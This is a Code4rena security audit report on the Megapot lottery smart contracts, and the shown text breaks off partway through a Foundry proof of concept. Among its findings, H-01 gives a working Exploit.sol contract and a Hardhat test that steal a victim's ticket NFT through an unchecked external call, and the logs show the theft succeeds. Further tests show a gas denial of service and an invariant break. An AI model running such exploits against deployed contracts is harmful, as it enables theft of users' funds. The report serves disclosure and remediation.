Megapot
Findings & Analysis Report
2026-01-05
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [M-01] Global Variable Manipulation During Active Draw Alters End Result
- [M-02] Incorrect ticket price reference in JackpotBridgeManager causes user overpayment after price updates
- [M-03] Deliberately increasing liquidity can DoS updates to the protocol’s governance parameters.
- [M-04]
lpEarningsgenerated in emergency mode become stuck on the contract - [M-05] Randomness can be exploited in some cases
- [M-06] Changes to Pyth entropy provider used by
ScaledEntropyProviderallow attacker to fix jackpot result - [M-07] Changing Entropy Provider During Active Drawing Causes Permanent Protocol Lock and Callback Failure
- [M-08] Changing Payout Calculator During Active Drawing Causes Loss of Unclaimed Winnings
-
Low Risk and Non-Critical Issues
- L-01 LP Earnings Addition Can Cause LP Pool to Exceed Maximum Capacity
- L-02 Pool Cap Check Restricts Future Round Deposits Leading to Diminished Prize Pools
- L-03 Missing Validation for Normal and Bonus Ball Sum Exceeding Bit Vector Capacity Causes Incorrect LP Pool Cap Calculation
- L-04 Missing Validation for Normal Ball Max Range Causes Critical Function Failures Due to Combination Library Limits and Underflow
- L-05 Unbounded Bonus Ball Max Calculation Causes Denial of Service in Drawing Settlement Due to Excessive Gas Consumption
- L-06 Drawing Time Calculation Uses Scheduled End Time Instead of Actual Settlement Time Causing Reduced Duration for Subsequent Drawings
- L-07 Missing User Tickets Mapping Update in
JackpotBridgeManager::claimTicketsFunction Causes Gas Inefficiency and Incorrect Return Values - L-08 Pending Deposits Cannot Be Withdrawn Until Converted to Shares, Forcing Exposure to Game Risk
- Disclosures
Overview
About C4
Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Megapot smart contract system. The audit took place from November 03 to November 13, 2025.
Final report assembled by Code4rena.
Summary
The C4 analysis yielded an aggregated total of 11 unique vulnerabilities. Of these vulnerabilities, 3 received a risk rating in the category of HIGH severity and 8 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 65 reports detailing issues with a risk rating of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Megapot team.
Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. It is recommended that a follow-up audit and development of a more complex stateful test suite be undertaken prior to continuing to deploy significant monetary capital to production.
Scope
The code under review can be found within the C4 Megapot repository, and is composed of 16 smart contracts written in the Solidity programming language and includes 1709 lines of Solidity code.
The code in C4’s Megapot repository was pulled from:
- Repository: https://github.com/coordinationlabs/megapot-v2-contracts
- Commit hash:
707cd7f53762ebaca8cc8dac92f20776f6988180
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (3)
[H-01] Attacker can steal JackpotTicketNFT’s from JackpotBridgeManager.sol
Submitted by 0xG0P1, also found by axelot, dan__vinci, frndz0ne, gizzy, montecristo, mrdafidi, mrudenko, player, prk0, random1106, and SpicyMeatball
Finding Description
The JackpotBridgeManager contract facilitates cross-chain ticket purchases and winnings claims for the Jackpot system. It acts as a custodian for NFTs representing tickets that are purchased from other chains. However, NFTs held by JackpotBridgeManager can be stolen due to an unsafe external call pattern.
Cross-chain users purchase tickets through the JackpotBridgeManager::buyTickets function. This function interacts with the Jackpot contract to mint tickets (NFTs), which are held in custody by JackpotBridgeManager. The contract internally tracks ownership of these NFTs to ensure users from different chains can later claim their winnings.
After the Jackpot draw concludes, users can claim their winnings by calling JackpotBridgeManager::claimWinnings. This function retrieves the claimed winnings from the Jackpot contract, then bridges the funds to the destination chain via the _bridgeFunds function.
The vulnerability arises in the _bridgeFunds function:
function _bridgeFunds(RelayTxData memory _bridgeDetails, uint256 _claimedAmount) private {
if (_bridgeDetails.approveTo != address(0)) {
usdc.approve(_bridgeDetails.approveTo, _claimedAmount);
}
uint256 preUSDCBalance = usdc.balanceOf(address(this));
(bool success,) = _bridgeDetails.to.call(_bridgeDetails.data);
if (!success) revert BridgeFundsFailed();
uint256 postUSDCBalance = usdc.balanceOf(address(this));
if (preUSDCBalance - postUSDCBalance != _claimedAmount) revert NotAllFundsBridged();
emit FundsBridged(_bridgeDetails.to, _claimedAmount);
}
The _bridgeFunds function performs an external call to _bridgeDetails.to, which is user-controlled. This allows an attacker to craft arbitrary call data that executes malicious logic. By leveraging this external call, an attacker can manipulate contract state and steal NFTs held by JackpotBridgeManager.
Exploitation Scenario
- The attacker purchases two tickets via
JackpotBridgeManager::buyTickets. - Assume the
JackpotBridgeManageris already holding multiple NFTs on behalf of legitimate cross-chain users. - After the jackpot draw, the attacker has some legitimate winning tickets but identifies a winning NFT held on behalf of a victim.
-
The attacker crafts a malicious
claimWinningstransaction as follows:_userTicketIds: Attacker’s own ticket IDs._bridgeDetails:approveTo: Address of an attacker-controlled exploit contract.to: Address of thejackpotNFTcontract.data: Encoded call data forsafeTransferFrom(address from, address to, uint256 tokenId, bytes data),
transferring the victim’s NFT fromJackpotBridgeManagerto the exploit contract.
Attack Flow
- The attacker calls
claimWinnings, causingJackpotBridgeManagerto approve the attacker’s contract for_claimedAmount. - The
_bridgeFundsfunction then executes an external call to thejackpotNFTcontract using attacker-supplied data. - This triggers
safeTransferFrom, transferring the victim’s NFT to the attacker’s exploit contract. - During the transfer, the
onERC721Receivedfunction in the exploit contract executes, which immediately pulls the approved USDC fromJackpotBridgeManager, ensuring the USDC balance decreases by exactly_claimedAmount. -
As a result, the post-call balance check
if (preUSDCBalance - postUSDCBalance != _claimedAmount) revert NotAllFundsBridged();passes successfully, allowing the transaction to complete without reverting.
- The victim’s NFT is now transferred to the attacker’s contract, resulting in loss of user assets.
Recommended mitigation steps
Validate RelayTxData before performing the external call or perform external call only on whitelisted addresses.
Expand for detailed Proof of Concept
Proof of Concept
Place this contract inside the 2025-11-megapot/contracts and name it Exploit.sol
ExploitContract :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Exploit is IERC721Receiver {
address public jackpotBridgeManager;
address public token;
constructor(address _jackpotBridgeManager, address _token) {
jackpotBridgeManager = _jackpotBridgeManager;
token = _token;
}
// Function to receive ERC721 tokens
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
// Pull ERC20 tokens from jackpotBridgeManager based on allowance
IERC20 erc20Token = IERC20(token);
uint256 allowance = erc20Token.allowance(
jackpotBridgeManager,
address(this)
);
if (allowance > 0) {
require(
erc20Token.transferFrom(jackpotBridgeManager, address(this), allowance),
"Transfer failed"
);
}
// Return the correct selector to confirm ERC721 acceptance
return IERC721Receiver.onERC721Received.selector;
}
// Rescue function for ERC20 tokens
function rescueERC20(address _token, address _to, uint256 _amount) external {
require(_to != address(0), "Invalid address");
IERC20(_token).transfer(_to, _amount);
}
// Rescue function for ERC721 tokens
function rescueERC721(
address _token,
address _to,
uint256 _tokenId
) external {
require(_to != address(0), "Invalid address");
IERC721(_token).safeTransferFrom(address(this), _to, _tokenId);
}
function tokenAddress() external view returns (address) {
return token;
}
// Fallback to receive ETH if needed
receive() external payable {}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public payable virtual {}
}
Paste this in C4PoC.spec.ts and run
yarn test --grep "demonstrates the C4 submission's validity"
POC :
import { ethers } from "hardhat";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import {
Jackpot,
JackpotBridgeManager,
JackpotTicketNFT,
ScaledEntropyProviderMock,
ReentrantUSDCMock,
GuaranteedMinimumPayoutCalculator,
JackpotLPManager,
} from "@utils/contracts";
import {
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { takeSnapshot, SnapshotRestorer, time } from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe.only("PoC", () => {
let owner: Account;
let attacker: Account;
let victim: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotBridgeManager: JackpotBridgeManager;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let jackpotLPManager: JackpotLPManager;
let snapshot: SnapshotRestorer;
beforeEach(async () => {
// Retrieve necessary test accounts
[owner, attacker, victim] = await getAccounts();
// Deploy full Jackpot system fixture
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotBridgeManager = await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await jackpotSystem.usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0"
);
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
payoutCalculator = jackpotSystem.payoutCalculator;
jackpotLPManager = jackpotSystem.jackpotLPManager;
// Initialize jackpot and deposit LP funds
await jackpot.connect(owner.wallet).initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10_000_000));
await usdcMock.connect(owner.wallet).approve(jackpot.getAddress(), usdc(1_000_000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1_000_000));
await jackpot.connect(owner.wallet).initializeJackpot((await time.latest()) + 60 * 60 * 24); // 24hr drawing window
// Take blockchain snapshot for easy reset before each test
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
it("demonstrates the C4 submission's validity", async () => {
console.log("Starting Exploit PoC...");
// Fund attacker with USDC and approve JackpotBridgeManager
await usdcMock.connect(owner.wallet).transfer(attacker.address, usdc(1_000));
await usdcMock.connect(attacker.wallet).approve(jackpotBridgeManager.getAddress(), usdc(5));
// Attacker purchases two ticket NFTs
const attackerTickets: Ticket[] = [
{ normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)], bonusball: BigInt(1) },
{ normals: [BigInt(6), BigInt(7), BigInt(8), BigInt(9), BigInt(10)], bonusball: BigInt(2) },
];
await jackpotBridgeManager.connect(attacker.wallet).buyTickets(
attackerTickets,
attacker.address,
[], // No referrers for simplicity
[],
ethers.encodeBytes32String("attackerSource")
);
// Fund victim with USDC and approve JackpotBridgeManager
await usdcMock.connect(owner.wallet).transfer(victim.address, usdc(1_000));
await usdcMock.connect(victim.wallet).approve(jackpotBridgeManager.getAddress(), usdc(5));
// Victim purchases two ticket NFTs
const victimTickets: Ticket[] = [
{ normals: [BigInt(11), BigInt(12), BigInt(13), BigInt(14), BigInt(15)], bonusball: BigInt(1) },
{ normals: [BigInt(8), BigInt(9), BigInt(10), BigInt(11), BigInt(12)], bonusball: BigInt(2) },
];
await jackpotBridgeManager.connect(victim.wallet).buyTickets(
victimTickets,
victim.address,
[], // No referrers
[],
ethers.encodeBytes32String("victimSource")
);
// Fast forward to after drawing period
const drawingState = await jackpot.getDrawingState(1);
await time.increaseTo(drawingState.drawingTime + BigInt(1));
// Run jackpot draw and simulate randomness callback
await jackpot.connect(owner.wallet).runJackpot({ value: ethers.parseEther("1") });
await entropyProvider.randomnessCallback([
[BigInt(8), BigInt(9), BigInt(10), BigInt(11), BigInt(12)],
[BigInt(2)],
]);
console.log("Tickets have been purchased and jackpot drawn.");
// Retrieve attacker and victim ticket IDs from JackpotBridgeManager
const attackerTicketIds = await jackpotBridgeManager.getUserTickets(attacker.address, 1);
const victimTicketIds = await jackpotBridgeManager.getUserTickets(victim.address, 1);
console.log(`Attacker Ticket IDs: ${attackerTicketIds.map(id => id.toString()).join(", ")}`);
console.log(`Victim Ticket IDs: ${victimTicketIds.map(id => id.toString()).join(", ")}`);
// Deploy the malicious Exploit contract controlled by attacker
const ExploitFactory = await ethers.getContractFactory("Exploit");
const exploit = await ExploitFactory.deploy(jackpotBridgeManager.getAddress(), usdcMock.getAddress());
await exploit.waitForDeployment();
console.log(`Exploit contract deployed at: ${await exploit.getAddress()}`);
// Check and log who owns victim's NFT before exploit
const victimNFTOwnerBefore = await jackpotNFT.ownerOf(victimTicketIds[1]);
console.log(`Victim's NFT (ID: ${victimTicketIds[1].toString()}) owner before exploit: ${victimNFTOwnerBefore}`);
expect(victimNFTOwnerBefore).to.equal(await jackpotBridgeManager.getAddress());
// Prepare RelayTxData with malicious safeTransferFrom call targeting victim's NFT
const maliciousBridgeDetails: RelayTxData = {
approveTo: await exploit.getAddress(),
to: await jackpotNFT.getAddress(),
data: ExploitFactory.interface.encodeFunctionData("safeTransferFrom", [
await jackpotBridgeManager.getAddress(),
await exploit.getAddress(),
victimTicketIds[1], // Victim's NFT token ID
"0x",
]),
};
let attackersTicketIdsArray: bigint[] = [];
attackersTicketIdsArray.push(attackerTicketIds[0]);
attackersTicketIdsArray.push(attackerTicketIds[1]);
// Prepare signature for claimWinnings with attacker ticket IDs and malicious payload
const claimSignature = await generateClaimWinningsSignature(
await jackpotBridgeManager.getAddress(),
attackersTicketIdsArray,
maliciousBridgeDetails,
attacker.wallet
);
// Attacker executes the malicious claimWinnings call to steal victim's NFT
await jackpotBridgeManager.connect(attacker.wallet).claimWinnings(
attackersTicketIdsArray,
maliciousBridgeDetails,
claimSignature
);
// Check and log the owner of victim's NFT after exploit
const victimNFTOwnerAfter = await jackpotNFT.ownerOf(victimTicketIds[1]);
console.log(`Victim's NFT (ID: ${victimTicketIds[1].toString()}) owner after exploit: ${victimNFTOwnerAfter}`);
expect(victimNFTOwnerAfter).to.equal(await exploit.getAddress());
console.log("Exploit successful: Victim's NFT has been transferred to attacker-controlled contract.");
});
});
Logs :
$ hardhat test --grep 'demonstrates the C4 submission'\''s validity'
PoC
Starting Exploit PoC...
Tickets have been purchased and jackpot drawn.
Attacker Ticket IDs: 30083767223809672004471377353616219992240262417604370218993016052021235661798, 38671522753779678852729165039051710713305298646011436960524446838460091584105
Victim Ticket IDs: 97081606848453597251411855136975184935661802060911520663759427091658643779747, 104813746921659704743262162214761331873120870227460325112138655077773912896606
Exploit contract deployed at: 0x3Aa5ebB10DC797CAC828524e59A333d0A371443c
Victim's NFT (ID: 104813746921659704743262162214761331873120870227460325112138655077773912896606) owner before exploit: 0x8A791620dd6260079BF849Dc5567aDC3F2FdC318
Victim's NFT (ID: 104813746921659704743262162214761331873120870227460325112138655077773912896606) owner after exploit: 0x3Aa5ebB10DC797CAC828524e59A333d0A371443c
Exploit successful: Victim's NFT has been transferred to attacker-controlled contract.
✔ demonstrates the C4 submission's validity (345ms)
1 passing (471ms)
[H-02] Unoptimized subset matches counting implementation will exceed tx gas limit on base chain
Submitted by montecristo, also found by 0xscater, anchabadze, fullstop, harry, romans, sl1, and touristS
Finding description and impact
During a drawing settlement, there is a very expensive calculation that counts all subset matches:
The stacktrace is displayed here:
File: 2025-11-megapot/contracts/Jackpot.sol
717: function scaledEntropyCallback(
718: bytes32,
719: uint256[][] memory _randomNumbers,
720: bytes memory
721: )
722: external
723: nonReentrant
724: onlyEntropy
725: {
... // @audit trace 1
732:@> (uint256 winningNumbers, uint256 drawingUserWinnings) = _calculateDrawingUserWinnings(currentDrawingState, _randomNumbers);
...
1614: function _calculateDrawingUserWinnings(
1615: DrawingState storage _currentDrawingState,
1616: uint256[][] memory _unPackedWinningNumbers
1617: )
1618: internal
1619: returns(uint256 winningNumbers, uint256 drawingUserWinnings)
1620: {
1621: // Note that the total amount of winning tickets for a given tier is the sum of result and dupResult
1622: (
1623: uint256 winningTicket,
1624: uint256[] memory uniqueResult,
1625: uint256[] memory dupResult
// @audit trace 2
1626:@> ) = TicketComboTracker.countTierMatchesWithBonusball(drawingEntries[currentDrawingId],
1627: _unPackedWinningNumbers[0].toUint8Array(), // normal balls
1628: _unPackedWinningNumbers[1][0].toUint8() // bonusball
1629: );
File: 2025-11-megapot/contracts/lib/TicketComboTracker.sol
250: function countTierMatchesWithBonusball(
251: Tracker storage _tracker,
252: uint8[] memory _normalBalls,
253: uint8 _bonusball
254: )
255: internal
256: view
257: returns (uint256 winningTicket, uint256[] memory uniqueResult, uint256[] memory dupResult)
258: {
...// @audit trace 3
263:@> (uint256[] memory matches, uint256[] memory dupMatches) = _countSubsetMatches(_tracker, set, _bonusball);
...
145: function _countSubsetMatches(
146: Tracker storage _tracker,
147: uint256 _normalBallsBitVector,
148: uint8 _bonusball
149: )
150: private
151: view
152: returns (uint256[] memory matches, uint256[] memory dupMatches)
153: {
154: matches = new uint256[]((_tracker.normalTiers+1)*2);
155: dupMatches = new uint256[]((_tracker.normalTiers+1)*2);
156:// @audit trace 4: the final culprit
157:@> for (uint8 i = 1; i <= _tracker.bonusballMax; i++) {
158:@> for (uint8 k = 1; k <= _tracker.normalTiers; k++) {
159:@> uint256[] memory subsets = Combinations.generateSubsets(_normalBallsBitVector, k);
We’re generating subsets of _normalBallsBitVector for bonusballMax * 5 times.
For sufficiently high bonusballMax, the gas limit will exceed tx gas limit of 25M on base chain.
For example, as we’ll see in the POC, in the following configuration:
- normallBallMax: 30
- poolCap:
16Me6USDC (worth of 16M USD) - bonusBallMax: 129
Gas consumption is estimated to be 25,834,562
Impact
- Due to tx gas limit violation , Pyth network’s entropy provider will not be able to invoke the callback
- As a result, drawing can never be settled
Recommended mitigation steps
subsetscan be cached in the following way:
diff --git a/contracts/lib/TicketComboTracker.sol b/contracts/lib/TicketComboTracker.sol
index 3545a8a..36b1c02 100644
--- a/contracts/lib/TicketComboTracker.sol
+++ b/contracts/lib/TicketComboTracker.sol
@@ -153,10 +153,13 @@ library TicketComboTracker {
{
matches = new uint256[]((_tracker.normalTiers+1)*2);
dupMatches = new uint256[]((_tracker.normalTiers+1)*2);
+ uint256[][] memory subsetsArr = new uint256[][](_tracker.normalTiers);
+ for (uint i; i<_tracker.normalTiers; i++) {
+ subsetsArr[i] = Combinations.generateSubsets(_normalBallsBitVector, i + 1);
+ }
for (uint8 i = 1; i <= _tracker.bonusballMax; i++) {
for (uint8 k = 1; k <= _tracker.normalTiers; k++) {
- uint256[] memory subsets = Combinations.generateSubsets(_normalBallsBitVector, k);
+ uint256[] memory subsets = subsetsArr[k - 1];
for (uint256 l = 0; l < subsets.length; l++) {
if (i == _bonusball) {
matches[(k*2)+1] += _tracker.comboCounts[i][subsets[l]].count;
- Define a hardcoded limit of
bonusballMax
Expand for detailed Proof of Concept
Proof of Concept
The following POC shows that, for 16M USD pool, entropy callback gas consumption will exceed 25M tx gas limit on base chain.
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
beforeEach(async () => {
[
owner,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
const governancePoolCap = usdc(16000000);
await jackpot.connect(owner.wallet).initializeLPDeposits(governancePoolCap);
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), governancePoolCap);
await jackpot.connect(owner.wallet).lpDeposit(governancePoolCap);
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("PoC", async () => {
it("demonstrates the C4 submission's validity", async () => {
await time.increase(
jackpotSystem.deploymentParams.drawingDurationInSeconds,
);
const drawingState = await jackpot.getDrawingState(1);
console.log("drawingState.bonusballMax", drawingState.bonusballMax);
const value =
jackpotSystem.deploymentParams.entropyFee +
(jackpotSystem.deploymentParams.entropyBaseGasLimit +
jackpotSystem.deploymentParams.entropyVariableGasLimit *
drawingState.bonusballMax) *
10_000_000n;
await jackpot.runJackpot({ value });
const winningNumbers = [[6n, 7n, 8n, 9n, 10n], [11n]];
await entropyProvider.randomnessCallback(winningNumbers);
});
});
});
Console output:
$ hardhat test ./test/poc/C4PoC.spec.ts
C4
PoC
drawingState.bonusballMax 129n
✔ demonstrates the C4 submission's validity (1088ms)
...
| ScaledEntropyProviderMock · │
······································|·················|···············|·················|················|···············
| randomnessCallback · - · - · 25,834,562 · 1 · - │
After applying the mitigation:
$ hardhat test ./test/poc/C4PoC.spec.ts
C4
PoC
drawingState.bonusballMax 129n
...
| ScaledEntropyProviderMock · │
······································|·················|···············|·················|················|···············
| randomnessCallback · - · - · 15,769,995 · 1 · - │
[H-03] LP pool cap may be exceeded on drawing settlement
Submitted by montecristo, also found by h2134
Finding description and impact
Jackpot enforces pool cap as the following:
File: 2025-11-megapot/contracts/Jackpot.sol
1469: function _calculateLpPoolCap(uint256 _normalBallMax) internal view returns (uint256) {
1470: // We use MAX_BIT_VECTOR_SIZE because that's the max number that can be packed in a uint256 bit vector
1471: uint256 maxAllowableTickets = Combinations.choose(_normalBallMax, NORMAL_BALL_COUNT) * (MAX_BIT_VECTOR_SIZE - _normalBallMax);
1472: uint256 maxPrizePool = maxAllowableTickets * ticketPrice * (PRECISE_UNIT - lpEdgeTarget) / PRECISE_UNIT;
1473:
1474: // We need to make sure that the lpPoolCap is not greater than the governance pool cap
1475: return Math.min(maxPrizePool * PRECISE_UNIT / (PRECISE_UNIT - reserveRatio), governancePoolCap);
1476: }
This is to ensure the following:
bonusBallMax+normalBallMax<=MAX_BIT_VECTOR_SIZE- Pool cap does not exceed governance pool cap
Otherwise, TicketComboTracker cannot properly store purchased Ticket on max bonus ball, since the following will revert with overflow:
File: 2025-11-megapot/contracts/lib/TicketComboTracker.sol
142: ticketNumbers = set |= 1 << (_bonusball + _tracker.normalMax);
However, LP pool cap can be exceeded on drawing settlement, because new LP value calculation does not enforce the same pool cap logic:
File: 2025-11-megapot/contracts/JackpotLPManager.sol
371: function processDrawingSettlement(
372: uint256 _drawingId,
373: uint256 _lpEarnings,
374: uint256 _userWinnings,
375: uint256 _protocolFeeAmount
376: ) external onlyJackpot() returns (uint256 newLPValue, uint256 newAccumulator) {
377: LPDrawingState storage currentLP = lpDrawingState[_drawingId];
378:@> uint256 postDrawLpValue = currentLP.lpPoolTotal + _lpEarnings - _userWinnings - _protocolFeeAmount;
...
391:@> newLPValue = postDrawLpValue + currentLP.pendingDeposits - withdrawalsInUSDC;
392: }
Since LP value can grow by up to lpEdgeTarget = 30% on every draw without any jackpot winner, governance cap or calculated limit can be exceeded, if previous total pool was just below the surface.
Impact
Important invariants can be broken on settlement drawing:
File: 2025-11-megapot/documentation/auditor-intro.md
1996: - **Pool Cap Compliance**: Total pool never exceeds governance limits
File: 2025-11-megapot/documentation/auditor-intro.md
2068: // Pool cap enforcement:
2069: lpPoolTotal + pendingDeposits <= governancePoolCap
File: /home/user/develop/code4rena/2025-11-megapot/documentation/auditor-intro.md
31: 11) Is all the bitpacking logic sound? Are there any potential boundary errors that could arise either between the lower bits where the normals are or the higher bits where bonusball must be less than 255 - normalBall Max?
Especially, when new pool cap exceeds calculated safe limit, bonusBallMax can be greater than 255 - normalBallMax.
This will lead to DOS on normalBallMax betting and ultimately lead to unfair betting.
Recommended mitigation steps
Enforce the same cap to newLPValue calculation.
Expand for detailed Proof of Concept
Proof of Concept
I acknowledge that POC should be put in C4PoC.spec.ts.
However, I prepared POC in foundry due to the following reasons:
- When I tried to demonstrate invariant break with
C4PoC.spec.ts, the test reverts without providing any helpful message, in spite of my best effort - At the time of submission, my signal is 75, so I don’t have to follow mandatory POC rule, so I decided to do what’s best for protocol team and me
First, follow the guide in this secret gist
Then, put the following into test/POC.t.sol:
pragma solidity ^0.8.28;
import "forge-std/Test.sol";
import {IJackpot} from "contracts/interfaces/IJackpot.sol";
import {IJackpotLPManager} from "contracts/interfaces/IJackpotLPManager.sol";
import {Jackpot} from "contracts/Jackpot.sol";
import {JackpotTicketNFT} from "contracts/JackpotTicketNFT.sol";
import {JackpotLPManager} from "contracts/JackpotLPManager.sol";
import {JackpotBridgeManager} from "contracts/JackpotBridgeManager.sol";
import {GuaranteedMinimumPayoutCalculator} from "contracts/GuaranteedMinimumPayoutCalculator.sol";
import {ScaledEntropyProvider} from "contracts/ScaledEntropyProvider.sol";
import {USDCMock} from "contracts/mocks/USDCMock.sol";
import {ScaledEntropyProviderMock} from "contracts/mocks/ScaledEntropyProviderMock.sol";
import {BaseTest} from "test/BaseTest.t.sol";
contract POC is BaseTest {
address buyer = makeAddr("buyer");
function setUp() public override {
super.setUp();
// normalBallMax is overridden to 15, but the vulnerability is not limited to small ball numbers
// POC uses smaller normal ball number to reduce the iteration
deploymentParams.normalBallMax = 15;
// Safe limit: C(15, 3) * (255 - 15) * 0.7 / 0.8 = 630630
// Governance Cap: 630000
deploymentParams.governancePoolCap = 630000e6;
_deployJackpot();
vm.startPrank(admin);
jackpot.initializeLPDeposits(deploymentParams.governancePoolCap);
uint256 lpPoolCap = _calculateLpPoolCap();
// LP pool equals to the cap
deal(address(USDC), address(admin), lpPoolCap);
USDC.approve(address(jackpot), lpPoolCap);
jackpot.lpDeposit(lpPoolCap);
jackpot.initializeJackpot(DRAWING_DURATION_IN_SECONDS);
vm.stopPrank();
{
// buyer purchases 10000 tickets
vm.startPrank(buyer);
vm.pauseGasMetering();
uint8[] memory normals = new uint8[](NORMAL_BALL_COUNT);
for (uint256 i; i < NORMAL_BALL_COUNT; i++) {
normals[i] = uint8(i + 1); // normals: 1,2,3,4,5
}
uint8 bonus = uint8(NORMAL_BALL_COUNT + 1); // bonus: 6
for (uint256 i; i < 100; i++) {
_buyTickets(buyer, normals, bonus, 100);
}
vm.resumeGasMetering();
vm.stopPrank();
}
}
function testSubmissionValidity() external {
skip(DRAWING_DURATION_IN_SECONDS);
_runJackpot();
uint8[NORMAL_BALL_COUNT] memory normalWinnings = [6, 7, 8, 9, 10];
uint8 bonusWinning = 11;
// there is no winner, all ticket sale goes to LP profit
_declareWinningNumbers(normalWinnings, bonusWinning);
Jackpot.DrawingState memory drawingState = jackpot.getDrawingState(2);
// Invariant broken: lpPoolTotal > governancePoolCap
IJackpotLPManager.LPDrawingState memory lpDrawingState = jackpotLPManager.getLPDrawingState(2);
assertGt(lpDrawingState.lpPoolTotal, deploymentParams.governancePoolCap);
assertGt(lpDrawingState.lpPoolTotal, jackpotLPManager.lpPoolCap());
// Invariant broken: bonusballMax > 255 - normalBallMax
assertGt(drawingState.bonusballMax, MAX_BIT_VECTOR_SIZE - deploymentParams.normalBallMax);
{
uint8[] memory normals = new uint8[](NORMAL_BALL_COUNT);
for (uint256 i; i < NORMAL_BALL_COUNT; i++) {
normals[i] = uint8(i + 1); // normals: 1,2,3,4,5
}
uint8 bonus = drawingState.bonusballMax; // bonus: 244
uint256 usdcAmount = deploymentParams.ticketPrice;
deal(address(USDC), buyer, usdcAmount);
vm.startPrank(buyer);
USDC.approve(address(jackpot), usdcAmount);
IJackpot.Ticket[] memory tickets = new IJackpot.Ticket[](1);
tickets[0] = IJackpot.Ticket({normals: normals, bonusball: bonus});
address[] memory referrers = new address[](0);
uint256[] memory referralSplit = new uint256[](0);
